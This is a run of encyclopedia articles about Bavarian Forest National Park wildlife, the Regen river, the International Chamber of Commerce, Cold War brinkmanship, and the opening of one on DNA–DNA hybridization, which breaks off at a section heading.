The park is home to many rare mammals such as the Eurasian lynx (Lynx lynx), wildcat (Felis silvestris), beaver (Castor fiber), Eurasian otter (Lutra lutra), western barbastelle (Barbastella barbastellus), Bechstein's bat (Myotis bechsteini) and the greater mouse-eared bat (Myotis myotis). Also present are red deer, in which two-thirds of the population overwinter in an enclosure, in order to prevent excessive grazing to the land. Even moose have been recorded in the park, from a population in the Lipno Reservoir, Czech Republic.
Lynx were eradicated from the National Park in around 1850, but in the 1970s five to ten were released into the park, along with another 17 released in the Šumava national park a decade later. This resulted in an initially strong increase in the Lynx population in the region, but between 1995 and 2008, the population decreased significantly. This was possibly due to the illegal killing of the animals on both the Czech and Bavarian sides.
Brown bear are not found in the wild in the park.
In 2016, a pair of wolves were discovered in the park.
Birds
Many rarely seen species of birds are found in the national park. These include capercaillie, hazel grouse, peregrine falcon, European honey-buzzard, black stork and Eurasian pygmy owl.
Insects
In the national park over 1800 beetle species have currently been identified, including 14 ancient woodland specialist species. Very rare insect species such as Tragosoma depsarium, a longhorn beetle which can only be found in forests rich in dead wood.
Plants
Rare and endangered plant species which are found in the national park include Hungarian gentian, Swertia perennis and the mosses Buxbaumia viridis and Dicranum viride.
Literature
Hans Bibelriether, Hartmut Strunz: Unterwegs im Nationalpark Bayerischer Wald. Ein Führer für Wanderer und Naturfreunde. Wald erleben, Natur verstehen. Morsak, Grafenau 1990, 213 S.,
Hans Bibelriether, Hannes Burger: Nationalpark Bayerischer Wald. Süddeutscher Verlag und Morsak-Verlag, München und Grafenau 1983, 175 S., und
Marco Heurich, Hans Jehl: Waldentwicklung im Bergwald nach Windwurf und Borkenkäferbefall. Grafenau 2001. 182 S.
Marco Heurich, Markus Neufanger: Die Wälder des Nationalparks Bayerischer Wald. Ergebnisse der Waldinventur 2002/2003 im geschichtlichen und waldökologischen Kontext. Nationalpark Bayerischer Wald: Wissenschaftliche Reihe, Heft 16. Nationalparkverwaltung Bayerischer Wald, Grafenau 2005, 176 S.,
Stefan Nüßlein: Zur Waldentwicklung im Nationalpark Bayerischer Wald 1999. Buchdrucker-Massenvermehrung und Totholzflächen im Rachel-Lusen-Gebiet. Berichte aus der Bayerischen Landesanstalt für Wald und Forstwirtschaft, Nr. 25. Bayerische Landesanstalt für Wald und Forstwirtschaft (LWF), Freising 2000, 47 S.
Wolfgang Scherzinger: Artenschutzprojekt Auerhuhn im Nationalpark Bayerischer Wald von 1985–2000. Nationalpark Bayerischer Wald: Wissenschaftliche Reihe, Heft 15. Nationalparkverwaltung Bayerischer Wald, Grafenau 2003, 130 S.,
Wolfgang Scherzinger, Michael Held: Wilde Waldnatur: der Nationalpark Bayerischer Wald auf dem Weg zur Waldwildnis. Nationalparkverwaltung Bayerischer Wald, Passau 2000, 43 S. Online verfügbar
Karl Friedrich Sinner, Günter Moser: Waldwildnis grenzenlos. Nationalpark Bayerischer Wald. Buch- und Kunstverlag Oberpfalz, Amberg 2006, 128 S., oder
Hubert Weinzierl, Hans Bibelriether, Georg Sperber: Nationalpark Bayerischer Wald. Verlag Morsak, Grafenau, 1972, 184 S.,
Filmography
Nationalpark Bayerischer Wald. Dokumentarfilm, 45 Min., Deutschland, 1987, von Robert Anzeneder und Jens-Uwe Heins, Produktion: Komplett-Media-GmbH, Grünwald (), Kurzbeschreibung des NDR
Natur erleben im Nationalpark Bayerischer Wald – Neuer Film, der sich mit dem Ökosystem Wald beschäftigt, DVD, Informationen und Vorschau hier: http://www.nationalparkfilm.de
See also
Bavarian Forest National Park in the natural region division: D 63 Upper Palatine-Bavarian Forest, including 403 Hinterer Bayerischer Wald
Bavarian Forest Club
References
External links
Website of the National Park Authority
Lynx project by the National Park Authority
Landscape fact file by the Bundesamt für Naturschutz: 40300 Hinterer Bayerischer Wald
National parks of Germany
Bavarian Forest
Regen (district)
Freyung-Grafenau
Protected areas established in 1970
1970 establishments in West Germany
Bohemian Forest | [
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241181 | https://en.wikipedia.org/wiki/Regen%20%28river%29 | Regen (river) | The Regen (; ) is a river in Bavaria, Germany, and a left tributary of the Danube, at Regensburg, Germany. The source of its main headstream, the Great Regen (Großer Regen), is in the Bohemian Forest on the territory of the Czech Republic, near Železná Ruda. The river crosses the border after a few kilometres, at Bayerisch Eisenstein. The name in German evolved from the name in Latin, but its meaning is unknown. The Romans called the river variously Regana (feminine gender), Reganus (masculine), and Reganum (neuter).
At Zwiesel, the Great Regen is joined by the Little Regen (Kleiner Regen) to form the Black Regen (Schwarzer Regen). The Black Regen flows through Regen and Viechtach, and is joined by the White Regen (Weißer Regen) in Bad Kötzting. Beyond this confluence, the river is called Regen. The river's total length, including its headstreams, the Great Regen and Black Regen, is . The Little Regen crosses the Frauenau Reservoir.
The Regen Valley forms the main valley crossing the Bavarian Forest; many settlements within the mountains are located along the river. Cities along the Regen river include Cham and Regensburg.
See also
Regen (city in Germany)
List of rivers of Bavaria
Sources
Franz Bogner: Der Regen. Ein Luftbildporträt vom Arber bis Regensburg. Pustet, Regensburg 2007, (Bildband).
Bärbel Kleindorfer-Marx (Hrsg.): Der Regen. Kultur und Natur am Fluss. Buch & Kunstverlag Oberpfalz, Amberg 1996, .
References
External links
Rivers of Bavaria
Bavarian Forest
Federal waterways in Germany
Bohemian Forest
Rivers of Germany | [
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241185 | https://en.wikipedia.org/wiki/International%20Chamber%20of%20Commerce | International Chamber of Commerce | The International Chamber of Commerce (ICC; French: Chambre de commerce internationale) is the largest, most representative business organization in the world. Its over 45 million members in over 100 countries have interests spanning every sector of private enterprise.
ICC's current chairman is Ajaypal Singh Banga and John W.H. Denton AO is the current Secretary General.
ICC has three main activities: rule setting, dispute resolution, and policy advocacy. Because its member companies and associations are themselves engaged in international business, ICC has unrivalled authority in making rules that govern the conduct of business across borders. Although these rules are voluntary, they are observed in thousands of transactions every day and have become part of international trade.
A world network of national committees in over 100 countries advocates business priorities at national and regional level. More than 3,000 experts drawn from ICC's member companies feed their knowledge and experience into crafting the ICC stance on specific business issues.
ICC supports the work of the United Nations, the World Trade Organization, and many other intergovernmental bodies, both international and regional, such as G20 on behalf of international business. ICC was the first organization granted general consultative status with the United Nations Economic and Social Council and UN Observer Status.
History
The International Chamber of Commerce was founded in 1919 to serve world business by promoting trade and investment, open markets for goods and services, and the free flow of capital. The organization's international secretariat was established in Paris and the ICC's International Court of Arbitration was created in 1923.
ICC's first chairman was 20th-century French Minister of Finance Etienne Clémentel.
Membership
There are two ways to become a member of ICC:
Through affiliation with an ICC national committee or group.
By direct membership with the ICC International Secretariat when a national committee/group has not yet been established in the country/territory.
Governing bodies
World Council
ICC's supreme governing body is the World Council, consisting of representatives of national committees. The World Council elects ICC's highest officers, including the Chairman and the Vice-Chairman, each of whom serves a two-year term. The Chairman, Vice-Chairman and the Honorary Chairman (the immediate past Chairman) provide the organization with high-level leadership.
Executive Board
Strategic direction for ICC is provided by its executive board, consisting of up to 30 business leaders and ex-officio members. It is elected by the World Council on the recommendation of the Chairmanship. Meeting three times a year, the Executive Board oversees the establishment of ICC's strategic priorities and the implementation of its policies.
International Secretariat
The ICC International Secretariat, based in Paris, is the operational arm of ICC. It develops and carries out ICC's work programme, feeding business views into intergovernmental organizations on issues that directly affect business operations. The International Secretariat is led by the Secretary General, who is appointed by the World Council.
National Committees
In 92 of the world's nations, members have established formal ICC structures called national committees. In countries where there is no national committee, companies and organizations such as chambers of commerce and professional associations can become direct members.
Finance Committee
The Finance Committee advises the Executive Board on all financial matters. On behalf of the Executive Board, it prepares the budget and regularly reports to the board. It reviews the financial implications of ICC activities and supervises the flow of revenues and expenses of the organization.
Dispute resolution services
ICC's administered dispute resolution services help solve difficulties in international business. ICC Arbitration is a private procedure that leads to a binding and enforceable decision.
The International Court of Arbitration of the International Chamber of Commerce steers ICC Arbitration and has received over 24,000 cases since its inception in 1923. Over the past decade, the court's workload has considerably expanded.
The court's membership has also grown and covers 85 countries and territories. With representatives in North America, Latin and Central America, Africa and the Middle East and Asia, the ICC Court has significantly increased its training activities on all continents and in all major languages used in international trade.
ICC Dispute Resolution Services exist in many forms:
Arbitration is a flexible and efficient dispute resolution procedure leading to binding and final decisions subject to enforcement worldwide.
Mediation is a flexible technique, conducted privately and confidentially, in which a neutral facilitator helps parties to seek a negotiated settlement of their dispute.
Dispute boards are independent bodies designed to help resolve disagreements arising during the course of a contract.
Expertise is a way of finding the right person to make an independent assessment on any subject relevant to business operations.
DOCDEX provides expert decisions to resolve disputes related to documentary credits, collections and demand guarantees, incorporating ICC banking rules.
Expedited or 'fast-track' arbitration procedures automatically apply where disputes are worth US$2 million or less, if the arbitration agreement was made after 1 March 2017, unless the parties have specifically opted out of the expedited procedure in their agreement.
Policy and business practices
ICC policies, rules and standards are prepared by specialized working bodies. Normal procedure requires policy statements first to be adopted by a commission, in consultation with national committees, and then approved by the Executive Board, before they can be regarded as official and public ICC positions.
Commissions examine major policy issues of interest to world business. Each national committee (NC) or group may appoint delegates to represent it at meetings. Officers are appointed by the Chairman and Secretary General in consultation with NCs. Meetings of commissions are normally held twice a year.
Task forces are constituted under the various commissions for a limited period to undertake specific projects and report back to their parent commission. Some task forces may include representatives of more than one commission.
Code of Advertising and Marketing Communication Practice
In September 2011, the International Chamber of Commerce introduced the newly revised consolidated ICC Code of Advertising and Marketing Communication Practice, along with a dedicated website, www.codescentre.com, to guide advertising and marketing professionals around the globe. This Code sets ethical standards and guidelines for businesses using today's rapidly changing technology, tools and techniques to market products and services. Developed by experts from all sectors of industry and all regions of the world, the code's purpose is to protect consumers by setting out guidelines for responsible marketing.
The Code is structured in two main sections—General Provisions and Chapters. The General Provisions section contains fundamental principles and other broad concepts that apply to all marketing in all media. Code Chapters are detailed and apply to specific marketing areas, including: Sales Promotion, Sponsorship, Direct Marketing, Digital Media and Environmental Marketing Claim.
World Chambers Federation
In 1951, ICC established the World Chambers Federation (WCF), formerly the International Bureau of Chambers of Commerce. WCF is the unique global forum uniting the worldwide network of more than 12,000 chambers of commerce and industry. It aims to facilitate the exchange of best practice and the development of new global products and services for chambers, and foster international partnerships between chambers and other stakeholders to help local businesses grow. WCF is a non-political, non-governmental body, with its membership comprising local, regional, national, bilateral and transnational chambers of commerce, as well as public-law and private-law chambers.
WCF was established by ICC and its chamber members following a resolution at the conclusion of the World Congress of Chambers of Commerce (Rome 1950). At its inaugural committee meeting held in Paris in December 1950, WCF was to be first known as the International Information Bureau of Chambers of Commerce. As its role expanded and grew during the 1960s, its name changed to become the International Bureau of Chambers of Commerce and by June 2001, it became known as the World Chambers Federation.
With a history spanning over 400 years, chambers today exist in almost every country and business community around the world. Chambers of Commerce and Industry can be defined as:
multi-sector organizations that accept members without sectorial restrictions
not pursuing political goals (i.e., they do not participate in elections or nominate candidates for political positions)
acting as a voice for the business community (i.e., they advocate for business and promote legislation that is advantageous to business)
facilitating the role of chambers of commerce as local business support agencies
Administering the international guarantee chain of ATA Carnets, the Customs document allowing the duty-free and tax-free temporary import of goods
Improving the capacity of chambers in issuing certificates of origin, including the management of an International CO chain
World Chambers Network – a website platform with services including a Global Chamber Directory, Business Opportunities Promotion Service ChamberTrust Business Accreditation Programme
Chamber Professional and institutional development services
WCF also organizes the World Chambers Congress every two years in a different region of the world. The Congress is the only international forum for chamber leaders and professionals to share best practices, exchange insights, develop networks, address the latest business issues affecting their communities, and learn about new areas of innovation from chambers around the world.
During the Congress, WCF also announces the winners of World Chambers Competition, the only global awards program to recognize the most innovative projects undertaken by chambers of commerce and industry from around the world.
Training and events
Staged all over the world, ICC events range from large topical conferences to training sessions for small groups. These smaller courses share ICC's expertise on commercial arbitration and dispute resolution mechanisms as well as ICC's trade tools including Incoterms rules, Uniform Customs and Practice for Documentary Credits (UCP) and international contracts.
ICC Academy is the training arm of the International Chamber of Commerce and delivers online certification and professional development services to meet the educational needs of banks, corporate and other organizations at the forefront of international trade. The specialized programs, e-courses and certifications are designed by the International Chamber of Commerce’s experts and practitioners.
ICC Publications
ICC Publications is the publishing arm of the International Chamber of Commerce providing business with essential resources in three broad categories: ICC rules and guidelines, practical commentaries, and reference works. The content of ICC's publications is derived from the work of ICC commissions, institutions and individual international experts.
ICC publishes mainly for international lawyers, arbitrators, bankers, traders and students covering topics such as international banking, international trade reference and terms, law and arbitration, counterfeiting and fraud and model commercial contracts. The best-known publications, Uniform Customs and Practice for Documentary Credits and Incoterms, have been translated into more than 30 languages.
ICC offers its publications not only in the traditional paper format, but also in electronic format, eBooks, on the ICC Store.
ICC Commercial Crime Services
ICC Commercial Crime Services (CCS) provides the world business community with a centralized commercial crime-fighting body. It draws on the resources of its members in the fight against commercial crime on many fronts.
From its base in London, and comprising three distinct bureaux, CCS operates according to two basic principles: to prevent commercial crime and to investigate and help prosecute criminals involved in commercial crime.
The specialized divisions of CCS are:
International Maritime Bureau
Financial Investigation Bureau
Counterfeiting Intelligence Bureau
FraudNet
Special projects and initiatives
Business Action to Stop Counterfeiting and Piracy (BASCAP)
ICC established BASCAP to take a leading role in the fight against counterfeiting and piracy.
BASCAP unites the global business community to identify and address intellectual property rights issues and petition for greater commitments by local, national and international officials in the enforcement and protection of IPR.
The work of BASCAP aims to:
Increase both awareness and understanding of counterfeiting and piracy activities and the associated economic and social harm
Compel government action and the allocation of resources towards improved IPR enforcement
Create a culture change to ensure intellectual property is respected and protected
BASCAP speaks out on the damage caused by counterfeiting and piracy, including:
Harm to the economy, loss of employment prospects
Danger to consumer health and safety
Loss of innovation and poor quality products
Financial links to organized crime
Erosion of technology transfer
Business Action to Support the Information Society
ICC set up BASIS (Business Action to Support the Information Society) in mid-2006 to speak out on a wide range of critical issues, including:
Internet governance matters such as data protection, privacy, security, and the technical management and coordination of the Internet
liberalization of the telecoms market
entrepreneurship
innovation
ICTs as tools for development
Commission on Anti-Corruption
The ICC's Rules of Conduct aim to "place an efficient and well-run integrity programme" to deal with corruption, extortion and bribery.
The ICC's Commission on Anti-Corruption first published “Fighting Corruption, A Corporate Practices Manual” in 1999; the manual provides "detailed practical guidance for compliance with the ICC Rules of Conduct and the OECD Convention". The rules take account of the United Nations Convention Against Corruption signed at in
at Mérida, Mexico on 9 December 2003. There are nine rules of conduct for business "of a general nature", to be accepted on a voluntary basis and applied through self-regulation within the context of the national laws on bribery which apply to each business. The ICC sees its role, and the function of its Commission on Anti-Corruption, to "promote the widest possible use of the Rules".
ICC Business World Trade Agenda
The ICC, in partnership with the Qatar Chamber, launched the ICC Business World Trade Agenda initiative in March 2012 to provide private sector leadership in shaping a new multilateral trade policy agenda. The aim of this initiative is ultimately to drive World Trade Organization (WTO) multilateral trade talks out of an 11-year deadlock and "beyond Doha".
The World Trade Agenda is a strong business-led initiative to bolster rules-based trade. The WTO lends its support to this initiative by engaging business to provide recommendations to advance global trade negotiations.
The World Trade Agenda aims to:
Define multilateral trade negotiation priorities for business
Help governments set a trade policy agenda for the 21st century that contributes to economic growth and job creation
Find answers to the current economic crisis and drive more effective trade talks
Set concrete recommendations to advance global trade negotiations
Sound the alarm on protectionism
Gather input and validation from the global business community on trade agenda priorities and recommendations for achieving a Doha victory
Since its launch, the World Trade Agenda initiative has organized consultations with CEOs and senior executives in all major regions of the world to gather input and validation of its recommendations. These business priorities were released during the ICC World Trade Agenda Summit on 22 April 2013 in Doha.
The Agreement on Trade Facilitation was finally adopted at the WTO's 9th Ministerial Conference on 7 December 2013. It was the first major agreement on trade facilitation to have been reached since the creation of the WTO.
ICC and the United Nations
Since 1946, ICC has held top-level consultative status with the United Nations and a close working relationship with its specialized agencies. The current ICC Permanent Representative to the UN is Andrew Wilson. On 21 December 2016 the International Chamber of Commerce was granted Observer status by the General Assembly of the United Nations on the basis of General Assembly Resolution (A/RES/71/156) On 13 December 2016, ICC was granted Observer Status by 193 members of the UN General Assembly. ICC took up its position as Observer to the General Assembly on 1 January 2017.
ICC Research Foundation
The ICC Research Foundation (ICCRF) was established in 2010 by ICC to commission independent research that contributes to public knowledge, education and debate on the benefits of global trade and investment. The research projects funded by the ICCRF and conducted by leading international researchers and organizations, contribute to the following aims:
Demonstrate how employment and growth flow from an expansion of international trade and investment
Establish that a multilateral approach is particularly beneficial to that end
Document how protectionism works against the public interest by eroding employment, sustainable growth and the market economy
Promote a deeper understanding by policymakers, the media and the public at large of the benefits of global trade and investment
The ICC Research Foundation is governed by a board of trustees, who include Cherie Nursalim and Gerard Worms.
See also
Incoterms
United States Chamber of Commerce
Federation of Pakistan Chambers of Commerce & Industry
London Chamber of Commerce & Industry
References
External links
International business organizations
International organizations based in France
Chambers of commerce
Arbitration organizations
Organizations based in Paris | [
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241187 | https://en.wikipedia.org/wiki/Brinkmanship | Brinkmanship | Brinkmanship (or brinksmanship) is the practice of trying to achieve an advantageous outcome by pushing dangerous events to the brink of active conflict. The tactic occurs in international politics, foreign policy, labor relations, contemporary military strategy (by involving the threat of nuclear weapons), and high-stakes litigation. The maneuver of pushing a situation with the opponent to the brink succeeds by forcing the opponent to back down and make concessions. That might be achieved through diplomatic maneuvers, by creating the impression that one is willing to use extreme methods rather than concede.
The term is chiefly associated with US Secretary of State John Foster Dulles from 1953 to 1956, during the Eisenhower administration. Dulles sought to deter aggression by the Soviet Union by warning that the cost might be massive retaliation against Soviet targets.
Origins
Brinkmanship is the ostensible escalation of threats to achieve one's aims. The word was probably coined by the American politician Adlai Stevenson in his criticism of the philosophy described as "going to the brink" during an interview with US Secretary of State John Foster Dulles during the Eisenhower administration. In the article written in Life magazine by the correspondent James R. Shepley, Dulles defined his policy of brinkmanship in these terms: "The ability to get to the verge without getting into the war is the necessary art." During the Cold War, it was used as a policy by the United States to coerce the Soviet Union into backing down militarily. Eventually, the threats involved might become so huge as to be unmanageable at which point both sides are likely to back down. That was the case during the Cold War since the escalation of threats of nuclear war, if carried out, are likely to lead to mutual assured destruction (MAD).
Thomas Schelling defined brinkmanship as "manipulating the shared risk of war." The essence of such a crisis is that it leads neither side to be in full control of events, which creates a serious risk of miscalculation and escalation.
Credible threats
For brinkmanship to be effective, both sides continuously escalate their threats and actions. However, a threat is ineffective unless it is credible, and at some point, an aggressive party may have to prove its commitment to action.
The chance of things sliding out of control is often used in itself as a tool of brinkmanship because it can provide credibility to an otherwise incredible threat. During the Cold War, the Cuban Missile Crisis was an example of opposing leaders, US President John F. Kennedy and Soviet Premier Nikita Khrushchev, continually issuing warnings with increasing force about impending nuclear exchanges without necessarily validating their statements. The pioneering game theorist Thomas Schelling called that "the threat that leaves something to chance."
Cold War
Brinkmanship was an effective tactic during the Cold War because neither side of the conflict could contemplate mutual assured destruction in a nuclear war. The nuclear deterrence of both sides threatened massive destruction on each other. Ultimately, brinkmanship worsened the relationship between the Soviets and the Americans.
Conceptualization
In the spectrum of the Cold War, the concept of brinkmanship involved the West and the Soviet Union using tactics of fear and intimidation as strategies to make the opposing side back down. Each faction pushed dangerous situations to the brink, with the intention of making the other back down in matters of international politics and foreign policy and obtaining concessions. Nevertheless, in the Cold War both parties were confronted with devastating consequences since the threats of nuclear war were unmanageable in any situation.
By escalating threats of nuclear war and massive retaliation, both parties had to respond with more force. The principle of the tactic was that neither party would prefer to yield to the other, but one of them would simply have to yield, or the outcome would be the worst possible for both of them.
The problem, however, was that yielding would result in being labelled as the weaker side. During the Cold War, both the Soviets and the Americans had a reputation to uphold to their populations and also to their neighboring countries and allies.
That made brinkmanship utterly risky since if neither country budged, the only way to avoid mutually assured destruction was to compromise. The British philosopher, mathematician, and intellectual Bertrand Russell compared it to the game of chicken:
Since the nuclear stalemate became apparent, the governments of East and West have adopted the policy which Mr. Dulles calls 'brinksmanship.' This is a policy adapted from a sport which, I am told, is practiced by some youthful degenerates. This sport is called 'Chicken!'.
Contextualization
The Soviet Union and the West spent nearly 50 years on the brink of war. During conflicts like the Cuban Missile Crisis, tensions escalated to the point that it seemed as if the Cold War would turn into an actual nuclear war. Brinkmanship was one of the steps prior to the point that war would actually break out.
In a conflict between two nations that were so ideologically opposed, drastic policies such as brinkmanship seemed to be the only way to come to any sense of agreement. Both the Americans and the Soviets maintained strict policies not to respond immediately to military threats. However, by making the possibility of a war more and more likely, both nations were able to make significant progress in discussions and peace.
Eisenhower's "New Look" policy
US President Dwight D. Eisenhower's New Look Policy reverted to the older notion that the Soviet Union could be contained if Soviet Premier Nikita Khrushchev was still assumed to be aiming at further expansion Soviet influence. The tactic was supposed to isolate the Soviet Union so that communism would not spread but would collapse in on itself.
To enforce the tactic, the Americans made alliances with many countries that were considered to be vulnerable to the Soviets' sphere of influence. The Soviets were now known to have nuclear weapons and so both superpowers were on a more even playing field. To combat this problem, Eisenhower threatened to use all of the American arsenal if the Soviets took offensive measures.
That was a bold move as it established the stakes to be extremely high, as the action could cause massive destruction for both sides. The threat caused an increase and a buildup of tension, with neither side wanting to pull the trigger on the other for fear of what the other's reaction.
Kennedy's flexible response
Flexible response was a defense strategy executed by US President John F. Kennedy in 1961. Its aim was to address skepticism that the Kennedy administration held towards Eisenhower's New Look: specifically its policy of massive retaliation. Flexible response required mutual deterrence at tactical, strategic, and conventional levels and bestowing upon the United States the ability to respond to aggression across the spectrum of symmetrical conventional warfare and nuclear warfare.
Flexible response required the continuous presence of substantial conventional forces. The forces were to serve both to deter and to fight limited wars. Kennedy hoped to deter all wars, regardless of their nature. Although Eisenhower and Dulles wanted to achieve goals similar to those of Kennedy, both were more concerned with cost. To avoid both escalation and humiliation, Kennedy highlighted the importance of adequate flexibility and disregarded cost. Prior to nuclear war, Kennedy wished to increase the range of available options. He also believed that the European allies should contribute more to their own defense. Fundamentally, the notion of flexible response was to "increase the ability to confine the response to non-nuclear weapons."
Practices and effects of Cold War
Korean War (1950–1953)
The Korean War was a military conflict between the South Korea and North Korea that started on June 25, 1950. Although armed hostilities ended with the Korean Armistice Agreement on July 27, 1953, the ceasefire was not a treaty under international law and so a technical state of war remains. The United States led the UN coalition supporting South Korea, while the Soviet Union and People's Republic of China supported North Korea. The Korean War was the first armed conflict and proxy war of the Cold War and escalated tensions between the West and the East. In September 1949, the Soviets tested their first atomic bomb, which made a limited war virtually impossible.
Fears of communism had risen after the Second Red Scare, led by Wisconsin US Senator Joseph McCarthy, indirectly calling for a policy to limit Communist Threat: NSC 68. In accordance with NSC 68, a report that stated that all communist activities were controlled by Soviet Premier Joseph Stalin, and it called for military and economic aid to any country deemed to be resisting Communist threats, the Americans sent troops to South Korea after it was invaded by the North on June 25, 1950. That contradicted the report, in that the United States was once again at war (the report stated that the United States should avoid war), but US President Harry S. Truman feared a domino effect and wanted to prevent the spread of communism: If we let Korea down, the Soviets will keep right on going and swallow up one piece of Asia after another.... If we were to let Asia go, the Near East would collapse and no telling what would happen in Europe.... Korea is like the Greece of the Far East. If we are tough enough now, if we stand up to them like we did in Greece three years ago, they won't take any more steps.
The Soviets boycotted the UN Security Council because the Americans had refused the entry of the People's Republic of China into the United Nations. The UN, supported by the United States, freely passed a resolution requesting military action against North Korea. Led by General Douglas MacArthur, the UN Forces arrived along with the US Forces on July 1, 1950. Truman believed that the North Korean atomic threat was "a threat based on contingency planning to use the bomb, rather than the faux pas so many assume it to be" and so did not use brinkmanship but also continuously opted for limited war. His beliefs in ceasefire and peacekeeping between the North and the South were cause for great conflict with MacArthur, who sought total war. MacArthur believed that the United States should take the opportunity to wipe out communism permanently before it grew stronger by using all of its weapons such as turning the war into nuclear war. MacArthur was dismissed as a result of his continuous defiance to Truman and other superiors on April 11, 1951, after he sent an ultimatum to the Chinese Army without consent of Truman.
As the historian Bruce Cumings noted, the Korean War heightened the Cold War and brought both nations closer to a nuclear war. The United States wanted to ensure that the United Nations would succeed, unlike the League of Nations, and wanted to show off its power to the world and to exhibit that it could still tame the communist threat, which was now also present in Asia. Similarly, the Soviet Union wanted to demonstrate its newly built military strength to the United States.
Berlin Crisis
Between 1950 and 1961, "the refugee flow continued at a rate of 100,000 to 200,000 annually" with people moving from the East to the West. The economic conditions were better in West Berlin than in East Berlin and so attracted more young workers.
Trying to find a way to stop the people from moving, East German President Walter Ulbricht pressured the Soviet Union to help with Berlin and emigration. Khrushchev wanted the Western Allies to leave Berlin or sign a separate peace treaty with East Germany. He feared that West Germany would economically and politically overwhelm East Germany and in turn undermine the Warsaw Pact, which the Soviet Union dominated.
On November 10, 1958, Khrushchev delivered a speech in which he demanded that the Western Powers pulled out of Western Berlin within six months. Furthermore, Khrushchev declared that East Germany was to take control of all communication lines and so West Berlin would be accessible only with East German permission. Interpreting Khrushchev's speech as an ultimatum, the United States, France, and the United Kingdom declined and said that they would remain in West Berlin.
In 1959, the Big Four powers held a conference in Geneva in which the foreign ministers attempted to negotiate an agreement on Berlin. However, the conference did not do much other than open up talks between the Soviet Union and United States. The Soviets wanted Western powers out of West Berlin in an attempt to reunify Berlin. The United States refused to give up West Berlin. In 1961, Khrushchev met with Kennedy and they continued to solve the issue on Berlin. Again, Khrushchev sent an ultimatum to the United States, asking them to leave West Berlin. As a result, Kennedy increased military and defense expenditures.
On August 13, 1961, Ulbricht had ordered barbed wire between East and West Berlin. The barbed wire was later changed to cement walls. This prevented the movement between the two sides. The division between the two Berlins was known as the Berlin Wall. The United States heavily condemned the Berlin Wall and responded by placing troops on the West German side. The actions were followed by Soviet Union, which placed its troops and tanks on the East German side. That led to the iconic image of tanks facing each other at "Checkpoint Charlie," which symbolized the division of the eastern and the western parts of Germany.
Any action taken by either side's had the possibility of resulting in a nuclear war between the Soviets and the Americans. As a result, in the summer of 1961, Kennedy met with Khrushchev in Vienna to try to find a solution for the problem of Berlin. Kennedy suggested Khrushchev to remove the Soviet troops, and the American troops would then be removed. However, no solution was found since neither side was ready to make concessions. The conference ended with Khrushchev issuing another ultimatum to the United States that gave six months to get out of Berlin. As a result, Kennedy refused to back down and instead prepared for military action, which led to further military escalation by Khrushchev.
Cuban Missile Crisis
A prime example of brinkmanship during the Cold War was the Cuban Missile Crisis (1962), a 13-day conflict between the United States, the Soviet Union, and Cuba. Both superpowers were armed with nuclear weapons and practiced brinkmanship during the conflict. The Cuban Missile Crisis was not only the closest that the Americans and the Soviets came to an armed conflict but also the "closest the world has come to [a full-scale] nuclear war."
The crisis was caused by the placement of Soviet nuclear weapons in Cuba, an island that was within the US sphere of influence and launching distance. That was arguably an act of brinkmanship by the Soviets to intimidate the US with weapons within the region. The US responded to the presence of the weapons by blockading Cuba. The Cuban blockade was also an act of brinkmanship since the Americans, instead of succumbing to the pressure from the Soviets, decided to see how the Soviets would react to the Americans stopping their vessels from entering Cuba.
Arms race
The US was building up its missiles, with President Eisenhower issuing the National Defense Education Act in 1958, an attempt to close the missile gap with the Soviets. It gave funds to US. schools to start researching more so that the US military could catch up with the Soviet's technology. Eisenhower also started NASA from NACA, several research laboratories, and parts of the Army Ballistic Missile Agency: see Creation of NASA.
Aftermath of Cuban Missile Crisis
Détente
The détente was essentially a stilling of the waters between the Americans and the Soviets. It was started by US President Richard Nixon and his National Security Advisor, Henry Kissinger. It continued until 1980 and the start of the second phase of the Cold War. It focused on a philosophical deepening of American foreign policy to adjust to the changing international order, as opposed to the Kennedy and Johnson administrations, which had been too single-minded in their pursuit of victory in Vietnam. That move away from focusing solely on military buildup heralded 12 years in which the world experienced a kind of peace by the decreased tensions between the Americans and the Soviets.
Ronald Reagan and end of the Cold War
Ronald Reagan was inaugurated as US president on January 20, 1981. His idea of how nuclear relations was from the outset very different from the détente's goal of stability. He effectively ended the previously-accepted agreement of mutually assured destruction between by almost immediately increasing the pace of the buildup of American arms to an unprecedented rate. Besides the buildup of conventional arms, military technology was improved. With the introduction of the stealth bomber and neutron bomb, the US again began to pull away from the Soviet Union. The most pivotal of them was the Strategic Defense Initiative which, but it was later called 'Star Wars' because of its improbability, simultaneously brought the Americans to the brink of war against the Soviets as the SDI nullified the idea of MAD as well as induced arms talks between Reagan and Mikhail Gorbachev, Soviet leader.
North Korean nuclear crisis
The 2017–2018 North Korean nuclear crisis has been described as a representation of brinkmanship between US President Donald Trump and the North Korean leader Kim Jong-Un. The nuclear crisis was followed by a peace process, which saw mixed results.
See also
References
External links
Analysis of the Cuban Missile Crisis
International relations theory
Nuclear strategy
Cold War terminology
Foreign policy doctrines of the United States | [
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241191 | https://en.wikipedia.org/wiki/DNA%E2%80%93DNA%20hybridization | DNA–DNA hybridization | In genomics, DNA–DNA hybridization is a molecular biology technique that measures the degree of genetic similarity between pools of DNA sequences. It is usually used to determine the genetic distance between two organisms and has been used extensively in phylogeny and taxonomy.
Method
The DNA of one organism is labelled, then mixed with the unlabelled DNA to be compared against. The mixture is incubated to allow DNA strands to dissociate and then cooled to form renewed hybrid double-stranded DNA. Hybridized sequences with a high degree of similarity will bind more firmly, and require more energy to separate them: i.e. they separate when heated at a higher temperature than dissimilar sequences, a process known as "DNA melting".
To assess the melting profile of the hybridized DNA, the double-stranded DNA is bound to a column and the mixture is heated in small steps. At each step, the column is washed; sequences that melt become single-stranded and wash off the column. The temperatures at which labelled DNA comes off the column reflects the amount of similarity between sequences (and the self-hybridization sample serves as a control). These results are combined to determine the degree of genetic similarity between organisms.
One method was introduced for hybridizing large numbers of DNA samples against large numbers of DNA probes on a single membrane. These samples would have to be separated in their own lanes inside the membranes and then the membrane would have to be rotated to a different angle where it would result in simultaneous hybridization with many different DNA probes.
Uses
When several species are compared, similarity values allow organisms to be arranged in a phylogenetic tree; it is therefore one possible approach to carrying out molecular systematics.
In microbiology
DNA–DNA hybridization was once used as a primary method to distinguish bacterial species; a similarity value greater than 70% and ≤ 5 °C in ΔTm in the stability of the heteroduplex is described as indicating that the compared strains belonged to the same species.
In 2014, a threshold of 79% similarity has been suggested to separate bacterial subspecies. DNA–DNA hybridization has not been tested much worldwide because it could take years to get results and it's not always that easy to perform in routine laboratories. However in 2004, there has been a new method tested out by digesting melting profiles with Sau3A in microplates in order to get a faster DNA–DNA hybridization test result.
In zoology
